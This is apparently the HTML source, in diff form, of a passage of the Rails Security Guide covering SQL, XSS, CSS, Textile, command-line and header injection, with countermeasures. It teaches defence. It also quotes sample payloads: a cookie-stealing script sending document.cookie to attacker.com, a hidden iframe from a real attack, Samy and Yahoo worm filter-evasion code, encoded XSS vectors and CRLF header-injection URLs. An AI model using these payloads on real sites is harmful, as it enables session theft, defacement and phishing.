- <div class="para"><p>Instead of passing a string to the conditions option, you can pass an array to sanitize tainted strings like this:</p></div>
1079
- <div class="listingblock">
1080
- <div class="content"><!-- Generator: GNU source-highlight 2.9
1081
- by Lorenzo Bettini
1082
- http://www.lorenzobettini.it
1083
- http://www.gnu.org/software/src-highlite -->
1084
- <pre><tt>Model<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>first<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #990000">[</span><span style="color: #FF0000">"login = ? AND password = ?"</span><span style="color: #990000">,</span> entered_user_name<span style="color: #990000">,</span> entered_password<span style="color: #990000">])</span>
1085
- </tt></pre></div></div>
1086
- <div class="para"><p>As you can see, the first part of the array is an SQL fragment with question marks. The sanitized versions of the variables in the second part of the array replace the question marks. Or you can pass a hash for the same result:</p></div>
1087
- <div class="listingblock">
1088
- <div class="content"><!-- Generator: GNU source-highlight 2.9
1089
- by Lorenzo Bettini
1090
- http://www.lorenzobettini.it
1091
- http://www.gnu.org/software/src-highlite -->
1092
- <pre><tt>Model<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>first<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span><span style="color: #990000">:</span>login <span style="color: #990000">=&gt;</span> entered_user_name<span style="color: #990000">,</span> <span style="color: #990000">:</span>password <span style="color: #990000">=&gt;</span> entered_password<span style="color: #FF0000">}</span><span style="color: #990000">)</span>
1093
- </tt></pre></div></div>
1094
- <div class="para"><p>The array or hash form is only available in model instances. You can try <tt>sanitize_sql()</tt> elsewhere. <span style="background-color: #fffcdb;">Make it a habit to think about the security consequences when using an external string in SQL</span>.</p></div>
1095
- <h3 id="_cross_site_scripting_xss">8.3. Cross-Site Scripting (XSS)</h3>
1096
- <div class="para"><p>&#8212; <em>The most widespread, and one of the most devastating security vulnerabilities in web applications is XSS. This malicious attack injects client-side executable code. Rails provides helper methods to fend these attacks off.</em></p></div>
1097
- <h4 id="_entry_points">8.3.1. Entry points</h4>
1098
- <div class="para"><p>An entry point is a vulnerable URL and its parameters where an attacker can start an attack.</p></div>
1099
- <div class="para"><p>The most common entry points are message posts, user comments, and guest books, but project titles, document names and search result pages have also been vulnerable - just about everywhere where the user can input data. But the input does not necessarily have to come from input boxes on web sites, it can be in any URL parameter – obvious, hidden or internal. Remember that the user may intercept any traffic. Applications, such as the <a href="http://livehttpheaders.mozdev.org/">Live HTTP Headers Firefox plugin</a>, or client-site proxies make it easy to change requests.</p></div>
1100
- <div class="para"><p>XSS attacks work like this: An attacker injects some code, the web application saves it and displays it on a page, later presented to a victim. Most XSS examples simply display an alert box, but it is more powerful than that. XSS can steal the cookie, hijack the session; redirect the victim to a fake website, display advertisements for the benefit of the attacker, change elements on the web site to get confidential information or install malicious software through security holes in the web browser.</p></div>
1101
- <div class="para"><p>During the second half of 2007, there were 88 vulnerabilities reported in Mozilla browsers, 22 in Safari, 18 in IE, and 12 in Opera. The <a href="http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf">Symantec Global Internet Security threat report</a> also documented 239 browser plug-in vulnerabilities in the last six months of 2007. <a href="http://pandalabs.pandasecurity.com/archive/MPack-uncovered_2100_.aspx">Mpack</a> is a very active and up-to-date attack framework which exploits these vulnerabilities. For criminal hackers, it is very attractive to exploit an SQL-Injection vulnerability in a web application framework and insert malicious code in every textual table column. In April 2008 more than 510,000 sites <a href="http://www.0x000000.com/?i=556">were hacked</a> like this, among them the British government, United Nations and many more high targets.</p></div>
1102
- <div class="para"><p>A relatively new, and unusual, form of entry points are banner advertisements. In earlier 2008, malicious code appeared in banner ads on popular sites, such as MySpace and Excite, according to <a href="http://blog.trendmicro.com/myspace-excite-and-blick-serve-up-malicious-banner-ads/">Trend Micro</a>.</p></div>
1103
- <h4 id="_html_javascript_injection">8.3.2. HTML/JavaScript Injection</h4>
1104
- <div class="para"><p>The most common XSS language is of course the most popular client-side scripting language JavaScript, often in combination with HTML. <span style="background-color: #fffcdb;">Escaping user input is essential</span>.</p></div>
1105
- <div class="para"><p>Here is the most straightforward test to check for XSS:</p></div>
1106
- <div class="literalblock">
1107
- <div class="content">
1108
- <pre><tt>&lt;script&gt;alert('Hello');&lt;/script&gt;</tt></pre>
1109
- </div></div>
1110
- <div class="para"><p>This JavaScript code will simply display an alert box. The next examples do exactly the same, only in very uncommon places:</p></div>
1111
- <div class="literalblock">
1112
- <div class="content">
1113
- <pre><tt>&lt;img src=javascript:alert('Hello')&gt;
1114
- &lt;table background="javascript:alert('Hello')"&gt;</tt></pre>
1115
- </div></div>
1116
- <h5 id="_cookie_theft">Cookie theft</h5>
1117
- <div class="para"><p>These examples don't do any harm so far, so let's see how an attacker can steal the user's cookie (and thus hijack the user's session). In JavaScript you can use the document.cookie property to read and write the document's cookie. JavaScript enforces the same origin policy, that means a script from one domain cannot access cookies of another domain. The document.cookie property holds the cookie of the originating web server. However, you can read and write this property, if you embed the code directly in the HTML document (as it happens with XSS). Inject this anywhere in your web application to see your own cookie on the result page:</p></div>
1118
- <div class="literalblock">
1119
- <div class="content">
1120
- <pre><tt>&lt;script&gt;document.write(document.cookie);&lt;/script&gt;</tt></pre>
1121
- </div></div>
1122
- <div class="para"><p>For an attacker, of course, this is not useful, as the victim will see his own cookie. The next example will try to load an image from the URL <a href="http://www.attacker.com/">http://www.attacker.com/</a> plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review his web server's access log files to see the victims cookie.</p></div>
1123
- <div class="literalblock">
1124
- <div class="content">
1125
- <pre><tt>&lt;script&gt;document.write('&lt;img src="http://www.attacker.com/' + document.cookie + '"&gt;');&lt;/script&gt;</tt></pre>
1126
- </div></div>
1127
- <div class="para"><p>The log files on www.attacker.com will read like this:</p></div>
1128
- <div class="literalblock">
1129
- <div class="content">
1130
- <pre><tt>GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2</tt></pre>
1131
- </div></div>
1132
- <div class="para"><p>You can mitigate these attacks (in the obvious way) by adding the <a href="http://dev.rubyonrails.org/ticket/8895">httpOnly</a> flag to cookies, so that document.cookie may not be read by JavaScript. Http only cookies can be used from IE v6.SP1, Firefox v2.0.0.5 and Opera 9.5. Safari is still considering, it ignores the option. But other, older browsers (such as WebTV and IE 5.5 on Mac) can actually cause the page to fail to load. Be warned that cookies <a href="http://ha.ckers.org/blog/20070719/firefox-implements-httponly-and-is-vulnerable-to-xmlhttprequest/">will still be visible using Ajax</a>, though.</p></div>
1133
- <h5 id="_defacement">Defacement</h5>
1134
- <div class="para"><p>With web page defacement an attacker can do a lot of things, for example, present false information or lure the victim on the attackers web site to steal the cookie, login credentials or other sensitive data. The most popular way is to include code from external sources by iframes:</p></div>
1135
- <div class="literalblock">
1136
- <div class="content">
1137
- <pre><tt>&lt;iframe name=”StatPage” src="http://58.xx.xxx.xxx" width=5 height=5 style=”display:none”&gt;&lt;/iframe&gt;</tt></pre>
1138
- </div></div>
1139
- <div class="para"><p>This loads arbitrary HTML and/or JavaScript from an external source and embeds it as part of the site. This iFrame is taken from an <a href="http://www.symantec.com/enterprise/security_response/weblog/2007/06/italy_under_attack_mpack_gang.html">actual attack</a> on legitimate Italian sites using the <a href="http://isc.sans.org/diary.html?storyid=3015">Mpack attack framework</a>. Mpack tries to install malicious software through security holes in the web browser – very successfully, 50% of the attacks succeed.</p></div>
1140
- <div class="para"><p>A more specialized attack could overlap the entire web site or display a login form, which looks the same as the site's original, but transmits the user name and password to the attackers site. Or it could use CSS and/or JavaScript to hide a legitimate link in the web application, and display another one at its place which redirects to a fake web site.</p></div>
1141
- <div class="para"><p>Reflected injection attacks are those where the payload is not stored to present it to the victim later on, but included in the URL. Especially search forms fail to escape the search string. The following link presented a page which stated that "George Bush appointed a 9 year old boy to be the chairperson&#8230;":</p></div>
1142
- <div class="literalblock">
1143
- <div class="content">
1144
- <pre><tt>http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1--&gt;
1145
- &lt;script src=http://www.securitylab.ru/test/sc.js&gt;&lt;/script&gt;&lt;!--</tt></pre>
1146
- </div></div>
1147
- <h5 id="_countermeasures_3">Countermeasures</h5>
1148
- <div class="para"><p><span style="background-color: #fffcdb;">It is very important to filter malicious input, but it is also important to escape the output of the web application</span>.</p></div>
1149
- <div class="para"><p>Especially for XSS, it is important to do <span style="background-color: #fffcdb;">whitelist input filtering instead of blacklist</span>. Whitelist filtering states the values allowed as opposed to the values not allowed. Blacklists are never complete.</p></div>
1150
- <div class="para"><p>Imagine a blacklist deletes “script” from the user input. Now the attacker injects “&lt;scrscriptipt&gt;”, and after the filter, “&lt;script&gt;” remains. Earlier versions of Rails used a blacklist approach for the strip_tags(), strip_links() and sanitize() method. So this kind of injection was possible:</p></div>
1151
- <div class="literalblock">
1152
- <div class="content">
1153
- <pre><tt>strip_tags("some&lt;&lt;b&gt;script&gt;alert('hello')&lt;&lt;/b&gt;/script&gt;")</tt></pre>
1154
- </div></div>
1155
- <div class="para"><p>This returned "some&lt;script&gt;alert(<em>hello</em>)&lt;/script&gt;", which makes an attack work. That's why I vote for a whitelist approach, using the updated Rails 2 method sanitize():</p></div>
1156
- <div class="literalblock">
1157
- <div class="content">
1158
- <pre><tt>tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p)
1159
- s = sanitize(user_input, :tags =&gt; tags, :attributes =&gt; %w(href title))</tt></pre>
1160
- </div></div>
1161
- <div class="para"><p>This allows only the given tags and does a good job, even against all kinds of tricks and malformed tags.</p></div>
1162
- <div class="para"><p>As a second step, <span style="background-color: #fffcdb;">it is good practice to escape all output of the application</span>, especially when re-displaying user input, which hasn't been input filtered (as in the search form example earlier on). <span style="background-color: #fffcdb;">Use escapeHTML() (or its alias h()) method</span> to replace the HTML input characters &amp;,",&lt;,&gt; by its uninterpreted representations in HTML (&amp;amp;, &amp;quot;, &amp;lt; and &amp;gt;). However, it can easily happen that the programmer forgets to use it, so <span style="background-color: #fffcdb;">it is recommended to use the <a href="http://safe-erb.rubyforge.org/svn/plugins/safe_erb/">SafeErb</a> plugin</span>. SafeErb reminds you to escape strings from external sources.</p></div>
1163
- <h5 id="_obfuscation_and_encoding_injection">Obfuscation and Encoding Injection</h5>
1164
- <div class="para"><p>Network traffic is mostly based on the limited Western alphabet, so new character encodings, such as Unicode, emerged, to transmit characters in other languages. But, this is also a threat to web applications, as malicious code can be hidden in different encodings that the web browser might be able to process, but the web application might not. Here is an attack vector in UTF-8 encoding:</p></div>
1165
- <div class="literalblock">
1166
- <div class="content">
1167
- <pre><tt>&lt;IMG SRC=&amp;#106;&amp;#97;&amp;#118;&amp;#97;&amp;#115;&amp;#99;&amp;#114;&amp;#105;&amp;#112;&amp;#116;&amp;#58;&amp;#97;
1168
- &amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;&amp;#39;&amp;#88;&amp;#83;&amp;#83;&amp;#39;&amp;#41;&gt;</tt></pre>
1169
- </div></div>
1170
- <div class="para"><p>This example pops up a message box. It will be recognized by the above sanitize() filter, though. A great tool to obfuscate and encode strings, and thus “get to know your enemy”, is the <a href="http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php">Hackvertor</a>. Rails‘ sanitize() method does a good job to fend off encoding attacks.</p></div>
1171
- <h4 id="_examples_from_the_underground">8.3.3. Examples from the underground</h4>
1172
- <div class="para"><p>&#8212; <em>In order to understand today's attacks on web applications, it's best to take a look at some real-world attack vectors.</em></p></div>
1173
- <div class="para"><p>The following is an excerpt from the <a href="http://www.symantec.com/security_response/writeup.jsp?docid=2006-061211-4111-99&amp;tabid=1">Js.Yamanner@m</a> Yahoo! Mail <a href="http://groovin.net/stuff/yammer.txt">worm</a>. It appeared on June 11, 2006 and was the first webmail interface worm:</p></div>
1174
- <div class="literalblock">
1175
- <div class="content">
1176
- <pre><tt>&lt;img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif'
1177
- target=""onload="var http_request = false; var Email = '';
1178
- var IDList = ''; var CRumb = ''; function makeRequest(url, Func, Method,Param) { ...</tt></pre>
1179
- </div></div>
1180
- <div class="para"><p>The worms exploits a hole in Yahoo's HTML/JavaScript filter, it usually filters all target and onload attributes from tags (because there can be JavaScript). The filter is applied only once, however, so the onload attribute with the worm code stays in place. This is a good example why blacklist filters are never complete and why it is hard to allow HTML/JavaScript in a web application.</p></div>
1181
- <div class="para"><p>Another proof-of-concept webmail worm is Nduja, a cross-domain worm for four Italian webmail services. Find more details and a video demonstration on <a href="http://rosario.valotta.googlepages.com/home">Rosario Valotta's website</a>. Both webmail worms have the goal to harvest email addresses, something a criminal hacker could make money with.</p></div>
1182
- <div class="para"><p>In December 2006, 34,000 actual user names and passwords were stolen in a <a href="http://news.netcraft.com/archives/2006/10/27/myspace_accounts_compromised_by_phishers.html">MySpace phishing attack</a>. The idea of the attack was to create a profile page named “login_home_index_html”, so the URL looked very convincing. Specially-crafted HTML and CSS was used to hide the genuine MySpace content from the page and instead display its own login form.</p></div>
1183
- <div class="para"><p>The MySpace Samy worm will be discussed in the CSS Injection section.</p></div>
1184
- <h3 id="_css_injection">8.4. CSS Injection</h3>
1185
- <div class="para"><p>&#8212; <em>CSS Injection is actually JavaScript injection, because some browsers (IE, some versions of Safari and others) allow JavaScript in CSS. Think twice about allowing custom CSS in your web application.</em></p></div>
1186
- <div class="para"><p>CSS Injection is explained best by a well-known worm, the <a href="http://namb.la/popular/tech.html">MySpace Samy worm</a>. This worm automatically sent a friend request to Samy (the attacker) simply by visiting his profile. Within several hours he had over 1 million friend requests, but it creates too much traffic on MySpace, so that the site goes offline. The following is a technical explanation of the worm.</p></div>
1187
- <div class="para"><p>MySpace blocks many tags, however it allows CSS. So the worm's author put JavaScript into CSS like this:</p></div>
1188
- <div class="literalblock">
1189
- <div class="content">
1190
- <pre><tt>&lt;div style="background:url('javascript:alert(1)')"&gt;</tt></pre>
1191
- </div></div>
1192
- <div class="para"><p>So the payload is in the style attribute. But there are no quotes allowed in the payload, because single and double quotes have already been used. But JavaScript allows has a handy eval() function which executes any string as code.</p></div>
1193
- <div class="literalblock">
1194
- <div class="content">
1195
- <pre><tt>&lt;div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')"&gt;</tt></pre>
1196
- </div></div>
1197
- <div class="para"><p>The eval() function is a nightmare for blacklist input filters, as it allows the style attribute to hide the word “innerHTML”:</p></div>
1198
- <div class="literalblock">
1199
- <div class="content">
1200
- <pre><tt>alert(eval('document.body.inne' + 'rHTML'));</tt></pre>
1201
- </div></div>
1202
- <div class="para"><p>The next problem was MySpace filtering the word “javascript”, so the author used “java&lt;NEWLINE&gt;script" to get around this:</p></div>
1203
- <div class="literalblock">
1204
- <div class="content">
1205
- <pre><tt>&lt;div id="mycode" expr="alert('hah!')" style="background:url('java↵
script:eval(document.all.mycode.expr)')"&gt;</tt></pre>
1206
- </div></div>
1207
- <div class="para"><p>Another problem for the worm's author were CSRF security tokens. Without them he couldn't send a friend request over POST. He got around it by sending a GET to the page right before adding a the user and parsing the result for the CSRF token.</p></div>
1208
- <div class="para"><p>In the end, he got a 4 KB worm, which he injected into his profile page.</p></div>
1209
- <div class="para"><p>The <a href="http://www.securiteam.com/securitynews/5LP051FHPE.html">moz-binding</a> CSS property proved to be another way to introduce JavaScript in CSS in Gecko-based browsers (Firefox, for example).</p></div>
1210
- <h4 id="_countermeasures_4">8.4.1. Countermeasures</h4>
1211
- <div class="para"><p>This example, again, showed that a blacklist filter is never complete. However, as custom CSS in web applications is a quite rare feature, I am not aware of a whitelist CSS filter. <span style="background-color: #fffcdb;">If you want to allow custom colours or images, you can allow the user to choose them and build the CSS in the web application</span>. Use Rails' <tt>sanitize()</tt> method as a model for a whitelist CSS filter, if you really need one.</p></div>
1212
- <h3 id="_textile_injection">8.5. Textile Injection</h3>
1213
- <div class="para"><p>&#8212; <em>If you want to provide text formatting other than HTML (due to security), use a mark-up language which is converted to HTML on the server-side. <a href="http://whytheluckystiff.net/ruby/redcloth/">RedCloth</a> is such a language for Ruby, but without precautions, it is also vulnerable to XSS.</em></p></div>
1214
- <div class="literalblock">
1215
- <div class="content">
1216
- <pre><tt>For example, RedCloth translates _test_ to &lt;em&gt;test&lt;em&gt;, which makes the text italic. However, up to the current version 3.0.4, it is still vulnerable to XSS. Get the http://www.redcloth.org[all-new version 4] that removed serious bugs. However, even that version has http://www.rorsecurity.info/journal/2008/10/13/new-redcloth-security.html[some security bugs], so the countermeasures still apply. Here is an example for version 3.0.4:</tt></pre>
1217
- </div></div>
1218
- <div class="literalblock">
1219
- <div class="content">
1220
- <pre><tt>&gt;&gt; RedCloth.new('&lt;script&gt;alert(1)&lt;/script&gt;').to_html
1221
- =&gt; "&lt;script&gt;alert(1)&lt;/script&gt;"</tt></pre>
1222
- </div></div>
1223
- <div class="para"><p>Use the :filter_html option to remove HTML which was not created by the Textile processor.</p></div>
1224
- <div class="literalblock">
1225
- <div class="content">
1226
- <pre><tt>&gt;&gt; RedCloth.new('&lt;script&gt;alert(1)&lt;/script&gt;', [:filter_html]).to_html
1227
- =&gt; "alert(1)"</tt></pre>
1228
- </div></div>
1229
- <div class="para"><p>However, this does not filter all HTML, a few tags will be left (by design), for example &lt;a&gt;:</p></div>
1230
- <div class="literalblock">
1231
- <div class="content">
1232
- <pre><tt>&gt;&gt; RedCloth.new("&lt;a href='javascript:alert(1)'&gt;hello&lt;/a&gt;", [:filter_html]).to_html
1233
- =&gt; "&lt;p&gt;&lt;a href="javascript:alert(1)"&gt;hello&lt;/a&gt;&lt;/p&gt;"</tt></pre>
1234
- </div></div>
1235
- <h4 id="_countermeasures_5">8.5.1. Countermeasures</h4>
1236
- <div class="para"><p>It is recommended to <span style="background-color: #fffcdb;">use RedCloth in combination with a whitelist input filter</span>, as described in the countermeasures against XSS.</p></div>
1237
- <h3 id="_ajax_injection">8.6. Ajax Injection</h3>
1238
- <div class="para"><p>&#8212; <em>The same security precautions have to be taken for Ajax actions as for “normal” ones. There is at least one exception, however: The output has to be escaped in the controller already, if the action doesn't render a view.</em></p></div>
1239
- <div class="para"><p>If you use the <a href="http://dev.rubyonrails.org/browser/plugins/in_place_editing">in_place_editor plugin</a>, or actions that return a string, rather than rendering a view, <span style="background-color: #fffcdb;">you have to escape the return value in the action</span>. Otherwise, if the return value contains a XSS string, the malicious code will be executed upon return to the browser. Escape any input value using the h() method.</p></div>
1240
- <h3 id="_rjs_injection">8.7. RJS Injection</h3>
1241
- <div class="para"><p>&#8212; <em>Don't forget to escape in JavaScript (RJS) templates, too.</em></p></div>
1242
- <div class="para"><p>The RJS API generates blocks of JavaScript code based on Ruby code, thus allowing you to manipulate a view or parts of a view from the server side. <span style="background-color: #fffcdb;">If you allow user input in RJS templates, do escape it using escape_javascript() within JavaScript functions, and in HTML parts using h()</span>. Otherwise an attacker could execute arbitrary JavaScript.</p></div>
1243
- <h3 id="_command_line_injection">8.8. Command Line Injection</h3>
1244
- <div class="para"><p>&#8212; <em>Use user-supplied command line parameters with caution.</em></p></div>
1245
- <div class="para"><p>If your application has to execute commands in the underlying operating system, there are several methods in Ruby: exec(command), syscall(command), system(command) and `command`. You will have to be especially careful with these functions if the user may enter the whole command, or a part of it. This is because in most shells, you can execute another command at the end of the first one, concatenating them with a semicolon (;) or a vertical bar (|).</p></div>
1246
- <div class="para"><p>A countermeasure is to <span style="background-color: #fffcdb;">use the <tt>system(command, parameters)</tt> method which passes command line parameters safely</span>.</p></div>
1247
- <div class="literalblock">
1248
- <div class="content">
1249
- <pre><tt>system("/bin/echo","hello; rm *")
1250
- # prints "hello; rm *" and does not delete files</tt></pre>
1251
- </div></div>
1252
- <h3 id="_header_injection">8.9. Header Injection</h3>
1253
- <div class="para"><p>&#8212; <em>HTTP headers are dynamically generated and under certain circumstances user input may be injected. This can lead to false redirection, XSS or HTTP response splitting.</em></p></div>
1254
- <div class="para"><p>HTTP request headers have a Referer, User-Agent (client software) and Cookie field, among others. Response headers for example have a status code, Cookie and Location (redirection target URL) field. All of them are user-supplied and may be manipulated with more or less effort. <span style="background-color: #fffcdb;">Remember to escape these header fields, too.</span> For example when you display the user agent in an administration area.</p></div>
1255
- <div class="para"><p>Besides that, it is <span style="background-color: #fffcdb;">important to know what you are doing when building response headers partly based on user input.</span> For example you want to redirect the user back to a specific page. To do that you introduced a “referer“ field in a form to redirect to the given address:</p></div>
1256
- <div class="literalblock">
1257
- <div class="content">
1258
- <pre><tt>redirect_to params[:referer]</tt></pre>
1259
- </div></div>
1260
- <div class="para"><p>What happens is that Rails puts the string into the Location header field and sends a 302 (redirect) status to the browser. The first thing a malicious user would do, is this:</p></div>
1261
- <div class="literalblock">
1262
- <div class="content">
1263
- <pre><tt>http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld</tt></pre>
1264
- </div></div>
1265
- <div class="para"><p>And due to a bug in (Ruby and) Rails up to version 2.1.2 (excluding it), a hacker may inject arbitrary header fields; for example like this:</p></div>
1266
- <div class="literalblock">
1267
- <div class="content">
1268
- <pre><tt>http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld%0d%0aX-Header:+Hi!
1269
- http://www.yourapplication.com/controller/action?referer=path/at/your/app%0d%0aLocation:+http://www.malicious.tld</tt></pre>
1270
- </div></div>
1271
- <div class="para"><p>Note that "%0d%0a" is URL-encoded for "\r\n" which is a carriage-return and line-feed (CRLF) in Ruby. So the resulting HTTP header for the second example will be the following because the second Location header field overwrites the first.</p></div>
1272
- <div class="literalblock">
1273
- <div class="content">
1274
- <pre><tt>HTTP/1.1 302 Moved Temporarily
1275
- (...)
1276
- Location: http://www.malicious.tld</tt></pre>
1277
- </div></div>
1278
- <div class="para"><p>So <span style="background-color: #fffcdb;">attack vectors for Header Injection are based on the injection of CRLF characters in a header field.</span> And what could an attacker do with a false redirection? He could redirect to a phishing site that looks the same as yours, but asks to login again (and sends the login credentials to the attacker). Or he could install malicious software through browser security holes on that site. <span style="background-color: #fffcdb;">Rails 2.1.2 escapes these characters for the Location field in the redirect_to method. Make sure you do it yourself when you build other header fields with user input.</span></p></div>
1279
- <h4 id="_response_splitting">8.9.1. Response Splitting</h4>
1280
- <div class="para"><p>If Header Injection was possible, Response Splitting might be, too. In HTTP, the header block is followed by two CRLFs and the actual data (usually HTML). The idea of Response Splitting is to inject two CRLFs into a header field, followed by another response with malicious HTML. The response will be:</p></div>
1281
- <div class="literalblock">
1282
- <div class="content">
1283
- <pre><tt>HTTP/1.1 302 Found [First standard 302 response]
1284
- Date: Tue, 12 Apr 2005 22:09:07 GMT
1285
- Location:
Content-Type: text/html
1286
-
1287
-
1288
- HTTP/1.1 200 OK [Second New response created by attacker begins]
1289
- Content-Type: text/html
1290
-
1291
-
1292
- &lt;html&gt;&lt;font color=red&gt;hey&lt;/font&gt;&lt;/html&gt; [Arbitary malicious input is
1293
- Keep-Alive: timeout=15, max=100 shown as the redirected page]
1294
- Connection: Keep-Alive
1295
- Transfer-Encoding: chunked
1296
- Content-Type: text/html</tt></pre>
1297
- </div></div>
1298
- <div class="para"><p>Under certain circumstances this would present the malicious HTML to the victim. However, this seems to work with Keep-Alive connections, only (and many browsers are using one-time connections). But you can't rely on this. <span style="background-color: #fffcdb;">In any case this is a serious bug, and you should update your Rails to version 2.0.5 or 2.1.2 to eliminate Header Injection (and thus response splitting) risks.</span></p></div>
1299
- </div>
1300
- <h2 id="_additional_resources">9. Additional resources</h2>
1301
- <div class="sectionbody">
1302
- <div class="para"><p>The security landscape shifts and it is important to keep up to date, because missing a new vulnerability can be catastrophic. You can find additional resources about (Rails) security here:</p></div>
1303
- <div class="ilist"><ul>
1304
- <li>
1305
- <p>
1306
- The Ruby on Rails security project posts security news regularly: <a href="http://www.rorsecurity.info">http://www.rorsecurity.info</a>
1307
- </p>
1308
- </li>
1309
- <li>
1310
- <p>
1311
- Subscribe to the Rails security <a href="http://groups.google.com/group/rubyonrails-security">mailing list</a>
1312
- </p>
1313
- </li>
1314
- <li>
1315
- <p>
1316
- <a href="http://secunia.com/">Keep up to date on the other application layers</a> (they have a weekly newsletter, too)
1317
- </p>
1318
- </li>
1319
- <li>
1320
- <p>
1321
- A <a href="http://ha.ckers.org/blog/">good security blog</a> including the <a href="http://ha.ckers.org/xss.html">Cross-Site scripting Cheat Sheet</a>
1322
- </p>
1323
- </li>
1324
- <li>
1325
- <p>
1326
- Another <a href="http://www.0x000000.com/">good security blog</a> with some Cheat Sheets, too
1327
- </p>
1328
- </li>
1329
- </ul></div>
1330
- </div>
1331
- <h2 id="_changelog">10. Changelog</h2>
1332
- <div class="sectionbody">
1333
- <div class="para"><p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/7">Lighthouse ticket</a></p></div>
1334
- <div class="ilist"><ul>
1335
- <li>
1336
- <p>
1337
- November 1, 2008: First approved version by Heiko Webers
1338
- </p>
1339
- </li>
1340
- </ul></div>
1341
- </div>
1342
-
1343
- </div>
1344
- </div>
1345
- </body>
1346
- </html>